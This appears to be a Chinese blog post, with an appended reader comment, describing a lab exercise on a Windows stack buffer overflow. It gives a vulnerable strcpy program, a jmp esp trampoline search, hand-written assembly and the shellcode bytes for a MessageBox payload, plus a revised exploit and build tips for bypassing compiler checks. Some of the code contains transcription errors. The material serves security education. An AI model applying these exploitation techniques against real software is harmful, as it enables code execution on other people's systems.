缓冲区溢出漏洞攻击——Shellcode编写
生活随笔
收集整理的這篇文章主要介紹了
缓冲区溢出漏洞攻击——Shellcode编写
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
一、實驗內容
利用一個程序漏洞,編寫shellcode,達成效果:蹦出對話框,顯示“You have been hacked!(by JWM)”
二、實驗原理
因為輸入了過長的字符,而緩沖區本身又沒有有效的驗證機制,導致過長的字符覆蓋了返回地址。如果覆蓋的返回地址是一個有效地址,而在該地址處又有有效的指令,那么系統就會毫不猶豫地跳到該地址處去執行指令。
本次實驗中用到了跳板(jmp esp)
由于操作系統每次加載可執行文件到進程空間的位置都是無法預測的,因此棧的位置實際是不固定的,通過硬編碼覆蓋新返回地址的方式并不可靠。為了能準確定位shellcode的地址,需要借助一些額外的操作,其中最經典的是借助跳板的棧溢出方式。
如果在函數的返回地址填入一個地址,該地址指向的內存保存了一條特殊的指令jmp esp——跳板。那么函數返回后,會執行該指令并跳轉到esp所在的位置。這樣,不管程序被加載到哪個位置,最終都會回來執行棧內的代碼。
跳板指令從哪找呢?“幸運”的是,在Windows操作系統加載的大量dll中,包含了許多這樣的指令,比如kernel32.dll,ntdll.dll,這兩個動態鏈接庫是Windows程序默認加載的。而且更“神奇”的是Windows操作系統加載dll時候一般都是固定地址,因此這些dll內的跳板指令的地址一般都是固定的。我們可以離線搜索出跳板執行在dll內的偏移,并加上dll的加載地址,便得到一個適用的跳板指令地址!
OllyDBG命令:?
- F8 單步執行?
- F2 設置斷點?
- F7 進入函數?
- F9 運行到斷點?
- Ctrl g 打開地址
三、實驗體會
i春秋老師講解得非常中肯,形象生動,解決了困擾我多時的疑惑。雖然感覺這次步驟多、工程大、用時久,但終究還是解決了困擾我多時的疑惑,比一個人默默看博客要好理解得多。
從前只會用msf生成現成的shellcode,并不懂得其中原理,而這次實驗不同,從源碼進行分析,手動編寫C語言、匯編語言,親眼見證了shellcode機器碼如何生成,加深了對windows系統API庫函數、函數調用堆棧、程序逆向的理解,收獲頗豐。
本次實驗只是本地緩沖區溢出漏洞利用,如何遠程利用漏洞,開啟shell,還值得進一步學習。
參考資料:?
- i春秋《緩沖區溢出分析》?
-?http://www.cnblogs.com/fanzhidongyzby/archive/2013/08/10/3250405.html
四、過程記錄
1、帶有漏洞的程序
#include "stdio.h" #include "string.h" char name[] = "jiangwe"; int main() {char buffer[8];strcpy(buffer, name);printf("%s",buffer);getchar();return 0; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
2、漏洞利用
(1)選取跳板
如何讓程序跳轉到esp的位置呢?我們這里可以使用jmp esp這條指令。jmp esp的機器碼是0xFFE4,我們可以編寫一個程序,來在user32.dll中查找這條指令的地址(當然,jmp esp在很多動態鏈接庫中都存在,這里只是以user32.dll作為例子):
#include <windows.h> #include <stdio.h> #include <stdlib.h>int main() {BYTE *ptr;int position;HINSTANCE handle;BOOL done_flag = FALSE;handle = LoadLibrary("user32.dll");if(!handle){printf("load dll error!");exit(0);}ptr = (BYTE*)handle;for(position = 0; !done_flag; position++){try{if(ptr[position]==0xFF && ptr[position+1]==0xE4){int address = (int)ptr + position;printf("OPCODE found at 0x%x\n", address);}}catch(...){int address = (int)ptr + position;printf("END OF 0x%x\n", address);done_flag = true;}}getchar();return 0; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
可以看到,這里列出了非常多的結果。(我自己動手敲的時候VC鏈接報錯,于是直接使用i春秋的圖)。我們隨便取出一個結果用于實驗。這里我選擇的是倒數第二行的0x77e35b79。也就是說,需要使用這個地址來覆蓋程序的返回地址。這樣,程序在返回時,就會執行jmp esp,從而跳到返回地址下一個位置去執行該地址處的語句。
至此可以先總結一下即將要編寫的“name”數組中的內容,經過分析可以知道,其形式為AAAAAAAAAAAAXXXXSSSS……SSSS。其中前12個字符為任意字符,XXXX為返回地址,這里我使用的是0x77e35b79,而SSSS是想要讓計算機執行的代碼。
(2)獲取shellcode中API函數的地址
下面的工作就是讓存在著緩沖區溢出漏洞的程序顯示這么一個對話框。由于我在這里想要調用MessageBox()這個API函數,所以首先需要獲取該函數的地址,這可以通過編寫一個小程序來獲取:
#include <windows.h> #include <stdio.h> typedef void (*MYPROC)(LPTSTR); int main() { HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary("user32");//獲取user32.dll的地址printf("user32 = 0x%x", LibHandle);//獲取MessageBoxA的地址ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");printf("MessageBoxA = 0x%x", ProcAdd);getchar();return 0; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
(3)編寫匯編代碼
將寫匯編之前必要的信息羅列一下:
最終的匯編代碼:
int main() {_asm{sub esp,0x50 //抬高棧幀xor ebx,ebx //清零push ebx // 分割字符串push 0x20676e69 push 0x6e726157 // push "Warning"mov eax,esp //用eax存放“Warning”的指針push ebx // 分割字符串 push 0x2020292epush 0x592e4a20push 0x79622821push 0x64656b63push 0x6168206epush 0x65656220push 0x65766168push 0x20756f59 // push "You have been hacked!(by Jwm)"mov ecx,esp //用ecx存放該字符串的指針 push ebxpush eaxpush ecxpush ebx //MessageBox函數參數依次入棧mov eax,0x77d507eacall eax // call MessageBoxpush ebx //ExitProcess函數參數入棧mov eax, 0x7c81cafacall eax // call ExitProcess}return 0; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
(4)得到shellcode機器碼
在VC中在程序的“_asm”位置先下一個斷點,然后按F5(Go),再單擊Disassembly,就能夠查看所轉換出來的機器碼(當然也可以使用OD或者IDA查看):
抽取出這些機器碼,寫入漏洞程序的數組中:
#include <windows.h> #include <stdio.h> #include <string.h> char name[] = "x41x41x41x41x41x41x41x41" // name[0]~name[7]"x41x41x41x41" // to Overlap EBP"x79x5bxe3x77" // Return Address(Address of "Jmp eax")"x83xECx50" // sub esp,0x50"x33xDB" // xor ebx,ebx"x53" // push ebx"x68x69x6Ex67x20""x68x57x61x72x6E" // push "Warning""x8BxC4" // mov eax,esp"x53" // push ebx"x68x2Ex29x20x20""x68x20x4Ax2Ex59""x68x21x28x62x79""x68x63x6Bx65x64""x68x6Ex20x68x61""x68x20x62x65x65""x68x68x61x76x65""x68x59x6Fx75x20" // push "You have been hacked!(by Jwm)""x8BxCC" // mov ecx,esp"x53" // push ebx"x50" // push eax"x51" // push ecx"x53" // push ebx"xB8xeax07xd5x77" "xFFxD0" // call MessageBox“x53”“xB8xFAxCAx81x7C”"xFFxD0"; // call MessageBoxint main() {char buffer[8];strcpy(buffer, name);printf("%s",buffer);getchar();return 0; }- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
最終成果達到漏洞利用:
當輸入回車,main執行完getchar(),即將退出時,跳轉到修改過的返回地址,隨即通過跳板執行當前ESP指向的指令(即Shellcode)
3、OllyDBG驗證
明顯看出name[]數組時怎樣溢出、覆蓋的。
================================================================================== 看了那么多文章這篇是收獲最大的,但是里面出現了很多錯誤(或者說筆誤),按照上面的代碼彈不出來messagebox,我對這個程序進行了小改動,如下: // test2.cpp : 定義控制臺應用程序的入口點。 //#include "stdafx.h"#include <windows.h> #include <stdio.h> #include <iostream>using namespace std;// jmp esp 0x75e18c25 // MessageBoxA 0x7607fdae // ExitProcess 0x75e079b0typedef void(*MYPROC)(LPTSTR);char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" // name[0]~name[7] "\x41\x41\x41\x41" // to Overlap EBP "\x25\x8c\xe1\x75" // Return Address(Address of "Jmp eax") "\x83\xEC\x50" // sub esp,0x50 "\x33\xDB" // xor ebx,ebx "\x53" // push ebx "\x68\x69\x6E\x67\x20" "\x68\x57\x61\x72\x6E" // push "Warning" "\x8B\xC4" // mov eax,esp "\x53" // push ebx "\x68\x2E\x29\x20\x20" "\x68\x20\x4A\x2E\x59" "\x68\x21\x28\x62\x79" "\x68\x63\x6B\x65\x64" "\x68\x6E\x20\x68\x61" "\x68\x20\x62\x65\x65" "\x68\x68\x61\x76\x65" "\x68\x59\x6F\x75\x20" // push "You have been hacked!(by Jwm)" "\x8B\xCC" // mov ecx,esp "\x53" // push ebx "\x50" // push eax "\x51" // push ecx "\x53" // push ebx "\xB8\xae\xfd\x07\x76" "\xFF\xD0" // call MessageBox "\x53" "\xB8\xb0\x79\xe0\x75" "\xFF\xD0"; // call ExitProcessvoid fun1() {HINSTANCE LibHandle;MYPROC ProcAdd;LibHandle = LoadLibrary("user32");//獲取user32.dll的地址printf("user32 = 0x%x \n", LibHandle);//獲取MessageBoxA的地址ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");printf("MessageBoxA = 0x%x \n", ProcAdd); }__declspec(noinline) void fun2() {char buffer[8];strcpy(buffer, name);cout << buffer;//printf("最終 buff : %x \n", buffer);__asm mov eax,eax }int _tmain(int argc, _TCHAR* argv[]) {__asm mov eax, eaxfun1();fun2();__asm mov ebx, ebxgetchar();return 0; }注意: 1.要用release編譯,debug編譯之后strcpy只會自動生成校驗代碼,檢測程序溢出,導致溢出失敗 2.必須加載user32.dll,應為要調用MessageBox這個API,不加載其動態連接庫怎么調用? 3.要使用__declspec(noinline),否則使用release編譯之后兩個函數都會內聯,強制不內斂就行了 4.fun2函數必須使用buff(最起碼輸出一下),要不編譯器一看沒人使用,直接回忽略掉這個緩沖區 5.可悲的是注意了這么多細節,最后結果依然是在執行shellcode之初時程序奔潰,不過我們也從此明白了溢出原理,
總結
以上是生活随笔為你收集整理的缓冲区溢出漏洞攻击——Shellcode编写的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 缓冲区溢出漏洞攻击演示实验(CProxy
- 下一篇: 网游变态功能